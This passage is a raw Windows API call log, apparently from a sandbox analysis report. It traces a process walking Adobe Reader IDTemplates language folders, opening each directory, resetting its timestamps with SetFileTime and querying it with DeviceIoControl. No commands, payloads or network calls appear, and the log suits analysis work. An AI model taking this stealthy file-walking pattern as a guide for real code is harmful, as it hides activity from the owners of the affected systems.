lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x104bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.273] GetLastError () returned 0x12 [0081.273] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.273] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.273] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.273] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x109db, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.273] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x104bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.273] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x104bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.273] GetLastError () returned 0x12 [0081.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.273] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.274] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUQ", cAlternateFileName="")) returned 1 [0081.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.274] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\euq"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.274] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\euq"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.274] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273c68 [0081.275] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273c68, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273c68, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273c68) returned 1 [0081.275] NtClose (Handle=0x178) returned 0x0 [0081.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.276] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.276] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.276] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0081.276] GetLastError () returned 0x12 [0081.276] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.276] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.276] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.276] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0081.276] GetLastError () returned 0x12 [0081.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.276] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.277] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRA", cAlternateFileName="")) returned 1 [0081.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.277] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.278] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.278] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273c68 [0081.279] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273c68, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273c68, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273c68) returned 1 [0081.279] NtClose (Handle=0x168) returned 0x0 [0081.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.280] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.280] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.280] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12017f8 [0081.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12624e0 [0081.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.282] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10596, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201818 [0081.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12625e8 [0081.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.283] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10596, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.283] GetLastError () returned 0x12 [0081.283] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.283] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.283] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.283] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.283] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10596, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.283] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10596, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.283] GetLastError () returned 0x12 [0081.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.283] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.284] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HRV", cAlternateFileName="")) returned 1 [0081.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.284] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.284] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.284] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273c68 [0081.285] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273c68, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273c68, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273c68) returned 1 [0081.285] NtClose (Handle=0x178) returned 0x0 [0081.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.286] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.286] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.286] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.287] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.287] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201838 [0081.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12626f0 [0081.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.288] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e95, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.289] RtlAllocateHeap 